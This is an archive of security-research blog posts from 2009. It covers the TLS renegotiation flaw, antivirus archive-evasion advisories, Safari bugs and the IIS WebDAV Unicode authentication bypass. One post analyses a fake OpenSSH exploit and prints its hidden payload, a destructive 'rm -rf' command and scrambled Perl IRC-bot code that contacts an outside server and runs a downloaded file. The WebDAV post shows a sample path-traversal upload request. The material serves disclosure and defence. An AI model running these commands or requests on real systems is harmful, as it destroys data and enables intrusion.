Subscribe to the RSS feed in case you are interested in updates

I updated the whitepaper "TLS / SSLv3 vulnerability explained" :

Updated 18.11.2009 : Added SMTP over TLS attack scenario, added s_client testcase
Updated 30.11.2009 : Added FTPS analysis, new attacks against HTTPS (injecting responses and downgrading to HTTP)  

Download : http://clicky.me/tlsvuln

Subscribe to the RSS feed in case you are interested in updates

In order to allow me to update in a more convenient manner, the latest updates will be added to the G-SEC blog only. Once the final revision of this blog post will be achieved I will update this blog with the latest one.

---

• Updated 17:50 GMT+1 / 05.2009 - added Mitigation / Impact 
• Updated 16:40 GMT+1 / 06.2009 - added IETF draft 
• Updated 14:35 GMT+1 / 07.2009 - added SSLTLS Test Tool 
• Updated 16:34 GMT+1 / 07.2009 - added OpenSSL patch 
• Updated 13:00 GMT+1 / 09.2009 - added GNUTLS patch 
• Updated 19:40 GMT+1 / 09.2009 - added Mikestoolbox.net testing TLS renegotiation support 
• Updated 21:29 GMT+1 / 09.2009 - added Apache patch, Mozilla Bug ID, Redhat Bug ID, Mozilla patch disabling tls renegotiation, Tomcat mitigation 
• Updated 21:00 GMT+1 / 12.2009 - added a whitepaper trying to explain the vulnerability and it's implications to a broader audience

After some in-house tests, we can confirm that the vulnerability presented at http://www.extendedsubset.com/ indeed real and should pose a significant threat to most. The vulnerability has been discovered by "Marsh Ray".

We are currently looking into possible mitigations and will update this blog post regularly with more information regarding said vulnerability - if available.

Details

• G-SEC Whitepaper (DRAFT) about the renegotiation vulnerability
  
• Protocol and attack flow graph (Author: Marsh Ray)
  
• White paper about the attack (Author: Marsh Ray)
• Network data captures (Author: Marsh Ray)
• Explanation by Ivan Ristic
• IETF Draft
• SSLTLS Test tool (Leviathan Security)
• Mikestoolbox.net - Test client implementation for TLS renegotiation extension

Patches

• OpenSSL 0.9.81 ( Attention: OpenSSL removed the TLS/SSL renegotiation feature from this package - you need to test application before/after updating to this version ) (via ISC)
• GnuTLS patch (implements a new TLS extension proposed in the IETF Draft) (via SID)
• Apache patch (patches renogtiation prefix attacks at the application layer, still need openssl fixes for other attacks)

Impacts :

Currently known to exist

• In general an attacker positioned in the middle of a connection may inject arbritary content into the beginning of an authenticated strea, it will be interesting to see what potential impact this vulnerability has within each of the applications / protocols supporting it. IMAPS, FTPSSL, POP3 etc
• For web servers - Attackers (if in the middle) can inject data into a segment that is authenticated to the web server, the web server will merge those requests and process them. (GET requests are trivially exploitable, POST are not known to be)
  

Mitigations :

• Monitor renegotiation requests
• To mitigate possible attacks against web applications - use an IPS/IDS/Application firewall to catch recurrent HTTP request that are enclosed within each other

Subscribe to the RSS feed in case you are interested in updates

I released another advisory today, the affected products are from Computer Associates who I'd like to thank for the cooperation and feedback.

I published the advisory @G-SEC

Subscribe to the RSS feed in case you are interested in updates

Derren Brown, the NLP master and magician  "predicted" the Lotterie numbers Live on TV and promised to tell on Friday how he did it - well he didn't really. The explanations on Friday is obviously not very convincing. He claimed to have used the phenomenon called "Crowd wisdom" whereas a group of poeple, taking the average often guess correctly. Right.

Daren Brown predicting the Lottery




The "ball" that gave it away
<


Simulation of the trick



Real NLP trickery

• Sublimal advertising
• Paying with plain paper
• BMX
• More Derren Brown

Subscribe to the RSS feed in case you are interested in updates

On a more non-technical note, I stumbled across this offer from a "renowed luxemburgish recruitment agency." I am not sure what part of this job opening is the worst, that they actually publish such a bad written job opening or that the candidates will be judged by the person that wrote this opening. Apparently they are being paid to do so.

Disclaimer: The text has been shortened but not edited.

Did you get the "our aim is to keep the highest standards in terms of quality" - They sure succeeded with this job posting.

Original: http://www.iitjobs.com/candidates/ShowJobDetails.aspx?jid=137014

Subscribe to the RSS feed in case you are interested in updates

I wrote a small summary and facts about the recent IIS5&6 FTP 0day, note that te vulnerable part of the code can be reached without writing to a directory on IIS6 but that Stackcookies make exploitation impossible/unlikely.

More information :
http://blog.g-sec.lu/2009/09/iis-5-iis-6-ftp-vulnerability.html

Subscribe to the RSS feed in case you are interested in updates

http://blog.g-sec.lu/2009/07/new-advances-in-officeexcelpowerpoint.html

Dear Anti virus vendors,
Your clients are getting compromised this very minute, instead of spending your time to please gamers (??) how about you spend 0,001% of your budget to implement generic methods of detection, especially for gateways.

Subscribe to the RSS feed in case you are interested in updates

• [GSEC-TZO-44-2009] One bug to rule them all - Firefox, IE, Safari,Opera, Chrome,Seamonkey,iPhone,iPod,Wii,PS3....
  

Subscribe to the RSS feed in case you are interested in updates

Rumor had it that the anti-sec group was using a OpenSSH 0day, str0ke today linked to an URL that supposedly has the exploit code to that 0day.

The reason the disassembled shellcode looked like crap is that, well , it isn't shellcode, it is nothing else then plain ascii bash/php commands.

Here is that JMP code converted to "assembly" :

00000000 jb 0x6f
00000002 and byte[0x7e206672],ch
00000008 and byte[edi],ch
0000000a sub ah,byte[eax]
0000000c xor bh,byte[esi]
0000000e and byte[edi],ch
00000010 fs: gs: jbe 0x43
00000014 outs dx,byte[esi]
00000015 jne 0x83
00000017 ins byte[es:edi],dx
00000018 and byte[esi],ah

Obviously, this code doesn't make any sense whatsoever, so and here is the JMP code converted from HEX to ASCII :

rm -rf ~ /* 2> /dev/null &

The "shellcode" part actually is :

#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
sleep 1;
";
while (<$sockn";
sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl

The supposedly freebsd shellcode is:

";
while (<$sockn";
="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
sleep 1;
n";
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
sleep 1;
k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

Subscribe to the RSS feed in case you are interested in updates

• [TZO-33-2009] FPROT generic bypass (TAR)
• [TZO-40-2009] Clamav generic bypass (RAR,ZIP,CAB)
• [TZO-34-2009] FPROT generic bypass (RAR,LHA,ARJ)
• [TZO-43-2009] Clamav generic bypass (CAB)
  

Subscribe to the RSS feed in case you are interested in updates

• [TZO-30-2009] Kaspersky generic PDF evasion (update: Kaspersky got in touch)
  
• [TZO-31-2009] Ikarus generic evasion (ZIP,RAR,CAB)
• [TZO-32-2009] Norman generic evasion (RAR)
• [TZO-33-2009] F-Prot generic evasion (TAR)
• [TZO-36-2009] Apple Safari & Quicktime Denial of Service
• [TZO-37-2009] Apple Safari Remote code execution
  

Subscribe to the RSS feed in case you are interested in updates.

I took some time to correlate and collect the attributed VDB IDs to them :

2009

• [TZO-01-2009] Multiple Avira Antivir Denial of Service (remote) - BID33270
• [TZO-02-2009] Avira Antivir Privilege escalation - BID33291
• [TZO-04-2009] IBM Proventia multiple bypasses (forced release) - BID34345
• [TZO-12-2009] SUN Java Remote code execution - BID34667
• [NON-TZO-Release] Internet Explorer 5 & 6 Remote code execution - BID31618
  
• [NON-TZO-Release] Jscape SSH Man-in-the-Middle through key validation error- BID29882
• [TZO-26-2009] Firefox Denial of Service (unclamped loop) forced disclosure
  
• [TZO-27-2009] Firefox Denial of Service (Keygen) forced disclosure - BID35132

2008

• [NO-TZO Release] F-Secure CAB,RAR evasion

2007

• [TZO-1-2007] Citrix SSL-VPN Remote code execution (pre-auth) - US CERT 555200

2006

• [TZO-01-2006] F-Secure Remote code execution vulnerability in ZIP RAR
  
• [TZO-02-2006] F-Secure Anti-virus Bypass - CVE-2006-0337
• [TZO-04-2006] Safe'nsec HIPS & Anti-Spyware- Priviledge Escalation
• [TZO-05-2006] XAMPP - Multiple Priviledge Escalation and Rogue Autostart
• [TZO-06-2006] When you trust WehnTrust - Priviledge Escalation
• [TZO-07-2006 ] Zango Adware - Insecure AutoUpdate and remote file execution
  

2005

• [TZO-01-2005] F-prot Antivirus bypass - ZIP
• [TZO-02-2005] Silent Firefox Adware Install - Proof of concept
• [TZO-03-2005] CheckPoint VPN-1 SecureClient Privilege escalation

Anti-virus bypasses/evasions

• [TZO-25-2009] Panda generic evasion (TAR) - BID35027
  
• [TZO-24-2009] Panda generic evasion (CAB) - BID35027
• [TZO-23-2009] Bitdefender generic evasion (PDF) - BID35010
• [TZO-22-2009] Avira Antivir generic evasion (PDF) - BID35008
  
• [TZO-21-2009] F-Prot CAB bypass / evasion - BID34896 - CVE - DOE CIRC
• [TZO-20-2009] AVG ZIP bypass / evasion -BID34895
  
• [TZO-18-2009] Mcafee RAR,ZIP multiple evasions -BID34780
  
• [TZO-17-2009] Trendmicro RAR,ZIP,CAB evasion (no patch) -BID34763
  
• [TZO-16-2009] Nod32 CAB bypass / evasion - BID34764
  
• [TZO-15-2009] Aladdin eSafe generic evasion / bypass - BID34726
  
• [TZO-14-2009] Comodo RAR evasion - BID34737
  
• [TZO-13-2009] Avira Antivir ZIP evasion - BID34723
  
• [TZO-11-2009] Fortinet - Generic evasion (Limited details) - BID34583
  
• [TZO-10-2009] Nod32 - Generic evasion (Limited details) - BID34764
  
• [TZO-09-2009] Avast! - Generic evasion (Limited details) - BID34578
  
• [TZO-08-2009] Bitdefender - Generic evasion (Limited details) - BID34580
  
• [TZO-07-2009] F-Prot - ZIP Method evasion - BID15293 - CVE
• [TZO-06-2009] IBM Proventia - Generic evasion (Limited disclosure)
• [TZO-05-2009] ClamAV below 0.95 - Generic evasion (Limited disclosure) - BID34344
  

• [TZO 27-2009] Firefox Denial of Service (Keygen)
  

I have received interesting and mixed feedback from posting the above "bug".

• First I'd like to clarify that a vulnerability is measured by the impact it causes, not how easy it is to find it and not by how technically challenging a vulnerability is.
  
  
• Secondly, vendors appear to not like it but remotely controlling the availability of an application is a security issue. It is the A in the CIA concept. If you are interested in that discussion I wrote a small blog rant about the "Denial of service is not a security issue" mindset of certain vendors.
  
  
  
  
• Third, I just hand over the facts, nothing more. If vulnerability database maintainers do not perceive Denial of service conditions in browsers as a security issue, they would not add it to the database, and yet they do. Doesn't prove anything but underlines my reasoning.
  
  
• Is this bug a vulnerability? - yes. Is is critical ? Clearly no. Stop seeing the world in Black or White. Something can be a vulnerability and still not be critical for the general public. However make no mistake, some bugs that are (for example) rated medium can become critical for certain companies that use the products in certain ways or critical parts of an infrastructure rely on that particular application.
  
  
• This is the reason I give no risk rating, what for ? I can't assess the risk an customer runs in specific environments when this vulnerability hits the product, I have no way to assess the risk whatsoever. I think it is highly misleading to have a vendor rate risk for a vulnerability. What I give is a description of the impact, with an description of the impact the customer of that product is actually able to assesses the risk, he is the only one that can.
  
  
• To illustrate this point take the bug above and think about several scenarios where this bug might actually pose a problem. Have one ? Fine. I have one too; what about for example Internet Kiosk vendors ? i.e the terminals at airports or cities that give access to the internet. Browse to the PoC and the terminal can no longer be used - so, for terminals offering pay for access service, this might mean actually income loss. (I am aware that some "restart" the whole OS or the envrionment periodicaly to clean up the mess left behind) Still I think you'll get the point here, there are a lot more scenarios like this.
  
  There is more then the typical End-user at home sitting before his pc that kills the process and restarts firefox.
  
  
• During my years doing security consultancy, one of the most astonishing things I learned is the immense variety of how applications are used by different companies. There is no way to summarise risk.
  

As you may or may not know, I reported quite some Anti-virus bypasses and evasions lately. Most of them have been categorised and rated by vulnerability database maintainers, such as NIST, Secunia, X-force and others now.

I am especially interested in the risk ratings assigned to them. It is quite difficult to rate them - imo you can only rate them in a particular scenario, case by case.

The ratings couldn't be more different.

Ratings :

• Xforce : Risk Rating - Medium (Xforce only knows 3 risk ratings, High Medium or low)
• NIST : CVSS scoring of 10 (to put that in perspective, 10 is as critical as it can get)
• Secunia : Risk rating - Low

I think this reflects the current state of risk management and risk assessment pretty well. "Highly subjective" to say the least.. NIST for instance rates Confidentiality, Integrity and Availability as completely compromised. While I surely don't think bypasses deserve a 10, I don't think the risk is very low (Secunia). I would rate it similar to Xforce

• [TZO-26-2009] Firefox DoS (unclamped loop) forced disclosure
  

This is just in : As it appears the IIS 5 / IIS 5.1 / IIS 6 Webdav unicode bug also allows to bypass IP/Domain filters if any are in place. Whoops. So in summary :

• bypasses password/authentication
• bypasses IP Address and Domain name restrictions.
  

If interested read more about the webdav unicode bug here.

This post is nothing new, for some it might be. At least I consider it important enough to re-publish this information for those fiddling with RSA / DSA and keys that were used to generate affected by the openssl debian fiasco.

Must read:

• RSA public keys are not private
  Why : Secure auto-updates and why to use a block cipher prior to signing than to use RSA to encrypt and sign.
  
• RSA public keys are not private (implementation)
  Why : Learn that when using n with signatures, it NEVER CAN be kept secret. Why choosing RSA to sign and encrypt auto updates is wrong.
• The Debian PGP disaster that almost was
  Why : Learn that you should consider all your DSA keys (the keys themselves) compromised if you generated signatures using the vulnerable debian openssl version at any time. I am not sure everybody got this.
  

• [TZO-24-2009] Panda generic evasion (CAB)
• [TZO-25-2009] Panda generic evasion (TAR)

Why two advisories for one vendor? Read here.

New advisories :

• [TZO-22-2009] Avira Antivir generic evasion (PDF)
  
• [TZO-23-2009] Bitdefender generic evasion (PDF)

FYI: Similar PDF evasions have been discovered in the wild by Didier Stevens

Subscribe to the RSS feed in case you are interested in updates

Release mode: Coordinated but limited disclosure
Ref : [TZO-40-2009] - Clamav generic evasion (CAB)
Vendor : http://www.clamav.net &
http://www.sourcefire.com/products/clamav
Status : Patched (in version 0.95.2)
CVE : none provided
Security notification reaction rating : good


Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products :
- ClamAV below 0.95.2

Affected systems:
- MACOSX server,
- IBM Secure E-mail Express Solution for System
Others : http://www.clamav.net/about/who-use-clamav/

I. Background
Quote: "Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways. It provides a number of utilities including a flexible and scalable multi-threaded
daemon, a command line scanner and advanced tool for automatic database updates. The core of the package is an anti-virus engine available in a form of shared library. "

II. Description
The parsing engine can be bypassed by manipulating CAB (Filesize) archives in a "certain way" that the Clamav engine cannot extract the content but the end user is able to.

III. Impact
To know more about the impact and type of "evasion", I updated the  description at http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

IV. Disclosure timeline
DD/MM/YYYY

Nothing particular too note.

Subscribe to the RSS feed in case you are interested in updates

Release mode: Coordinated but limited disclosure.
Ref         : [TZO-34-2009] - F-prot RAR,ARJ,LHA bypass
Vendor      : http://www.f-prot.com      
Status      : Current version not patched, next engine version will be patched
CVE         : none provided
Credit      : Given in the History file
OSVDB vendor entry: none [1]
Security notification reaction rating : good
Notification to patch window : n+1 (no patch for current build)

Disclosure Policy :  http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products (all versions below 4.5.0 )

• F-PROT AVES (High: complete bypass of engine)
• F-PROT Antivirus for Windows (unknown)
• F-PROT Antivirus for Windows on Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Exchange (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 File Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Solaris SPARC / Solaris x86 Mail Servers (High: complete bypass of engine)
• F-PROT Milter - for example sendmail (High: complete bypass of engine)
• F-PROT Antivirus for Linux on IBM zSeries (S/390) (High: complete bypass of engine)
• F-Prot Antivirus for Linux x86 Workstations (unknown)
  

OEM Partners affected :

• Autentium  (all versions)

OEM Partners with unknown status :

• Sendmail, Inc.
• G-Data
  

I. Background
Quote: "FRISK Software International, established in 1993, is one of the world's leading companies in antivirus research and product development.

FRISK Software produces the hugely popular F-Prot Antivirus products range offering unrivalled heuristic detection capabilities. In addition to this,  the F-Prot AVES managed online e-mail security service filters away the  nuisance of spam e-mail as well as viruses, worms and other malware that increasingly clog up inboxes and threaten data security."


II. Description
The parsing engine can be bypassed by a specially crafted and formated RAR archive.

III. Impact
A general description of the impact and nature of AV Bypasses/evasions can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

The bug results in denying the engine the possibility to inspect
code within RAR archives. There is no inspection of the content
at all and hence the impossibility to detect malicious code.


IV. Disclosure timeline

DD/MM/YYYY

• 07/05/2009 : Send proof of concept, description the terms under which I cooperate and the planned disclosure date.
  

         No reply

• 09/05/2009 : Resending PoC file asking to please acknowledge receipt
  
  
• 19/05/2009 : Frisk acks receipt and states that  "I have confirmed that this issue is indeed  present in F-Prot engine versions 4.4.4 and earlier.  It is not present  in the 4.5.0 engine, which is the current development version, and is scheduled for release in the near future"
  

• 20/05/2009 : Ask for patch timeline

• 22/05/2009 : Frisk states that there will be no patch for versions below 4.5.0 and that the next version 4.5.0 is not affected (dev build)
  
  "As a side note, F-PROT 4.4 and older also had a similar issue  with ARJ and LHA/LZH files - failing  to detect the archive if  it was not at the beginning of the file"
  
  
• 10/06/2009 : Ask Frisk whether 4.5.0 has been released now
  

           no reply
           

• 18/06/2009 : Release of this advisory.

[1]
F-prot is encouraged to leave their security contact details at http://osvdb.org/vendor/1/Frisk%20Software%20International
to facilate communication and reduce lost reports.

Subscribe to the RSS feed in case you are interested in updates

Release mode: Coordinated but limited disclosure.
Ref : [TZO-40-2009] - Clamav generic evasion (RAR,ZIP)
Vendor : http://www.clamav.net &
http://www.sourcefire.com/products/clamav
Status : Patched (in version 0.95.2)
CVE : none provided
Credit : Discovered - froggz 2005, Zoller 2007, ROGER Mickael 2009
Security notification reaction rating : good


Disclosure Policy :   http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products :

• ClamAV below 0.95.2

Affected systems:

•   MACOSX server
• IBM Secure E-mail Express Solution for System
  

http://www.clamav.net/about/who-use-clamav/

I. Background
Quote: "Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways. It provides a number of utilities including a flexible and scalable multi-threaded
daemon, a command line scanner and advanced tool for automatic database updates. The core of the package is an anti-virus engine  available in a form of shared library. "

II. Description
The parsing engine can be bypassed by manipulating CAB,RAR,ZIP archives in a "certain way" that the Clamav engine cannot extract the content but the end user is able to.

III. Impact
To know more about the impact and type of "evasion", I updated the description at http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

IV. Disclosure timeline
DD/MM/YYYY

No timeline for this bug, nothing of particular note.

Subscribe to the RSS feed in case you are interested in updates

Release mode: Coordinated but limited disclosure.
Ref : [TZO-33-2009] - F-prot TAR bypass / evasion
Vendor : http://www.f-prot.com
Status : Current version not patched, next engine version will be patched
CVE : none provided
Credit : Given in the History file
OSVDB vendor entry: none [1]
Security notification reaction rating : better than last time
Notification to patch window : n+1 (no patch for current build)

Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products (all versions up to 4.5.0 which is not released yet)

• F-PROT AVES (High: complete bypass of engine)
• F-PROT Antivirus for Windows (unknown)
• F-PROT Antivirus for Windows on Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Exchange (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 Mail Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Linux x86 File Servers : (High: complete bypass of engine)
• F-PROT Antivirus for Solaris SPARC / Solaris x86 Mail Servers (High: complete bypass of engine)
• F-PROT Milter - for example sendmail (High: complete bypass of engine)
• F-PROT Antivirus for Linux on IBM zSeries (S/390) (High: complete bypass of engine)
• F-Prot Antivirus for Linux x86 Workstations (unknown)
  

OEM Partners affected :

•   Autentium (all versions)
  

OEM Partners with unknown status :

• Sendmail, Inc.
• G-Data
  

I. Background
Quote: "FRISK Software International, established in 1993, is one of the  world's leading companies in antivirus research and product development.

FRISK Software produces the hugely popular F-Prot Antivirus products range  offering unrivalled heuristic detection capabilities. In addition to this, the F-Prot AVES managed online e-mail security service filters away the nuisance of spam e-mail as well as viruses, worms and other malware that  increasingly clog up inboxes and threaten data security."


II. Description
The parsing engine can be bypassed by a specially crafted and formated  TAR archive.

III. Impact
The bug results in denying the engine the possibility to inspect  code within TAR archives. There is no inspection of the content at all and hence the impossibility to detect malicious code.

A general description of the impact and nature of AV Bypasses/evasions  can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html

IV. Disclosure timeline
DD/MM/YYYY

• 28/04/2009 : Send proof of concept, description the terms under which I cooperate and the planned disclosure date.
  
  No reply
  
  
• 11/05/2009 : Resending PoC file asking to please reply
  
  
• 20/05/2009 : Frisk replies that it was unable to extract the PoC file with "tar" and hence see no bypass.
• 20/05/2009 : Inform Frisk that the PoC extracts fine with Winzip 
• 22/05/2009 : Frisk send a lenghty e-mail re-discussing bypasses/evasions
• 22/05/2009 : I state that I will not discuss this topic any further, everythinghas been said and written multiple times. Either Frisk patches or they do not.
• 22/05/2009 : Frisk states that the changes to the parsing code are minor i.e not relying on the checksum. The patch will be included in the next releaes candidate 4.5.0 and credit will be given in the History file
  

Comment:  I give it some time to 4.5.0 to be released.

• 10/06/2009 : Ask Frisk if 4.5.0 has been released now
  
  no reply
  

• 14/06/2009 : Release of this advisory

[1]
F-prot is encouraged to leave their security contact details at http://osvdb.org/vendor/1/Frisk%20Software%20International to facilate communication and reduce lost reports.

Table of Contents

1. Updates
2. Bulletins
3. Am I at risk ?
4. Tools
5. Technical details

0.1 Personal message

Several news stories seem to allude that Microsoft is artificially downplaying the threat, citations of myself are used to underline the headline in an "us against Microsoft" kind of way. I want to clarify that I have the utmost respect of the MSRC team and I don't suspect Microsoft to willingly downplay anything. They also claim I am from Belgium, I am obviously from Luxembourg. The bug also is not the same as the IIS4/5 one, it's root cause is similar. That's about it.

About: The video above shows the different Webdav settings and the different impacts they have. Note that code execution is only possible if these pre-conditions are met. I am not sure how often this kind of setup exists, if I had to guess i'd say not often. Credit: Rangos.

1. Updates

25/05/2009 - Update: As Nicolaos wrote in the comment section of this post. IP/Domain filters can be bypassed the same way. In other words if you have a filter for certain IP adresses, you can bypass them.
Update : Todd Manning over at Breakpoint labs did comprehensive tests on which Unicode encodings work. The answer is a lot - IPS/IPS vendors should update their signatures.
Update : Sharepoint and OWA are not affected by this bug - more info here
Update : Skull security has a good write up here , they patched cadaver to exploit this vulnerability. Nmap script here.
Update: Video detailing the different settings and the different impacts (up to remote code execution) Credit: Rangos
Update: Nmap IIS6 Webdav scanner added to tools section.
Update: Webdav Network scanner added to tools section.Update : Microsoft SRD Team gives more insight and details (Must read)
Update : Microsoft advisory : http://www.microsoft.com/technet/security/advisory/971492.mspx
Update : For IIS 6 : Write access is not allowed per default - as such you can only "upload" content if IUSR_anonymous is granted write access. This is not the case per default.
Update : IIS5 and IIS7 are NOT affected - IIS5 and 5.1 are affected (according to MS)
Update : It is unclear how this affects Exchange 2003 (which allows access to inboxes over webdav)

2. Bulletins

• Microsoft advisory (official source ) - Microsoft SRD Team details
• US-CERT
• Auscert - Comment: rates it "remote code execution" - AFAIK this is not possible except with very funky and strangely setup ACLs.
• CERTA - Direction centrale de la sécurité des systèmes d'information
• CERT-FI
• Sitic
• SANS
• Mcafee

3. Am I at risk ?

Below is a summary by Microsofts SRD Team, please note that the below enumeration leads to think that the chances that your setup is vulnerable is VERY unlikely. IMHO this is not the case, take a standard install of IIS6, enable Webdav, setup a protected folder requiring basic auth. And that's it, you are vulnerable.

You are not at risk if : (Source : Microsoft SRD Team)

• An IIS server not running WebDAV is safe.
  The Windows Server 2003 IIS (version 6) shipped with WebDAV disabled by default.
• An IIS server not using IIS permissions to restrict content to authenticated users is safe.
• An IIS server that does not grant filesystem access to the IUSR_[MachineName] account is safe.
• An IIS server that hosts web applications using only forms-based authentication is probably safe.

You are at risk : (Source Microsoft SRD Team, except italics by myself)

• IF an IIS 5, 5.1, or 6.0 webserver is running with WebDAV enabled (default for IIS5);
• AND the IIS server is using IIS permissions to restrict a subfolder of content to authenticated users;
• AND file system access is granted for the restricted content to the IUSR_[MachineName] account;
• AND a parent folder of the private subfolder allows anonymous access;
  THEN an anonymous remote user may be able to leverage this vulnerability to access files that normally would only be served to authenticated webserver users.

4 Test tools

• Specificaly for this vulnerability: Metasploit added test script to the trunk
• Webdav network scanner here
• Nmap script

IDS/IPS Signatures

• For PROPFIND the "translate:f" option is NOT required (only for GET requests)
• Breakpoint labs analysed how the various UTF encodings affected the flaw - lot of variations work.

Recommendation : until the impact is 100% clear you should temporarily disable Webdav or follow the mitigation recommendations from Microsofts SRD team

---

5. Details

Kingcope a.k.a Nicolaos Rangos released another pwnie grade vulnerability yesterday and it's resemblance to the IIS unicode flaw from 2001 was so similar that my jaw first dropped.

Here are a few facts, these are subject to modifications as the news unfolds:

1. Webdav is not enabled by default on IIS6, IIS7 + Webdav is not affected
2. IIS 5 and IIS 5.1 are also affected.
3. Enabling Webdav applies to all websites and doesn't have to be enabled per site.
4. You can actually upload content to the web server, if the IUSR_anonymous has write access to webdav folders. (To any other folder if the account has write access to other folders)
   
5. This seems to have a similar (root cause) then the 2001 Unicode IIS4/5 bug , but not exactly the same
6. "Translate:f" is required for GET requests, PROPFIND works without the translate optiion.

Mitigation :

1. Temporary disable Webdav. This is not easy if you have Sharepoint services running. See here

Backround

In 2001 a path traversal bug was found in IIS4 and IIS5 that lead to a series of serious compromised and massive exploitation (MS01-026). It was bad really bad, the simple path traversal was used to compromise systems remotely mainly through calling (t)ftp.exe to upload arbitrary content.

The path traversal was possible due to Microsoft's introduction of UNICODE support into IIS. The flaw was by design, a typical logical fallacy. Unicode conversion was added AFTER the security checks and not before, resulting in the path "..%c0%af.." to be considered a VALID path, yet it is nothing else then "../.." in ascii. More details can be found here.

MS01-26 - 2001
Here is the logic flaw that lead to the vulnerability in 2001. I quickly drafted this in Visio, below is the way it was supposed to work:

Figure1 IIS4/5 how the security check was supposed to work (click to enlarge)

Here is how it was implemented :

Figure 2 - IIS4/5 how the security check was implemented (click to enlarge)

In other words Microsoft, certainly through the late addition of Unicode support to IIS, failed to realize that converting chars to Unicode representation should happen before any "security" checks. So the flaw was one of logic, Unicode conversion after the security check.

Fast forward 2009 - Kingcope releases a similar vulnerability.

MS09-971492 - 2009

The bug discovered by Rangos seems to suffer from a similar logic mistake when requesting source (translate:f) that has been introduced in the Webdav component. It appears that unicode characters are removed after the security checks.

Figure 3 - IIS6 Webdav component Unicode replacement (click to enlarge)

Details

Example: Uploading arbritary content to an asp page - Creating ASP files only works if "Script Source Access" is enabled and IUSR_Anonymous has write access to the folder. Creating INC files works even if with "script source access disabled". (Source : Hubert.Seiwert)

PUT /protected%c0%af/hello.asp HTTP/1.1
Host: 192.168.171.142
Translate: f
Content-Length: 27
<%response.write("hello")%>

The server will however not execute this asp page - currently no code execution is known to be possible, even if write access is enabled (see exception below). The reason is that you can't simply issue a GET request to the asp page you just created - it's password protected and execution over webdav fails.

However code execution would be possible in scenarios where :

1. IUSR_Anonymous has write access to the folder in question
2. If you map the root (or any other) WWW folder to the webdav folder (an hence can issue a simply GET request to the uploaded file)

Subscribe to the RSS feed in case you are interested in updates

Release mode: ZDI (see previous timelines to know why this went to ZDI)
Ref    : [TZO-37-2009] - Apple Safari Remote code execution (CSS)
Vendor : http://www.apple.com
Status : Patched (http://support.apple.com/kb/HT3613)
Credit : http://support.apple.com/kb/HT3613
CVE    : CVE-2009-1698




Affected products :

• Apple Safari versions prior to 4.0

Affected systems :

• Mac OS X v10.4.11, 
• Mac OS X Server v10.4.11, 
• Mac OS X v10.5.7, 
• Mac OS X Server v10.5.7, 
• Windows XP or Vista

I. Background

Wikipedia quote: "Apple Inc. (NASDAQ: AAPL) is an American multinational corporation which designs and manufactures consumer electronics and software products. The company's best-known hardware products include Macintosh computers, the iPod and the iPhone."

II. Description

Calling the CSS attr attribute with a large number leads to memory corruption

III. Impact

Viewing a maliciously crafted web page may lead to an unexpected application termination or arbitrary code execution.

IV. Proof of concept

You can build one with above information

V. Disclosure time-line

No time-line available

Subscribe to the RSS feed in case you are interested in updates

Release mode: No credit = no cooperation
Ref : [TZO-36-2009] - Apple Safari & Quicktime DoS
Vendor : http://www.apple.com
Status : Not patched (enough time was given)
Credit : none given ("can't find a place to credit")
Discovered : 18.11.2008 Zoller, 12.06.2009 Alexios Fakos (probably plenty of others)
Security notification reaction rating : good
Notification to patch window : n+1

Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html

Affected products

• Apple Safari (all)
• Quicktime (all)

I. Background

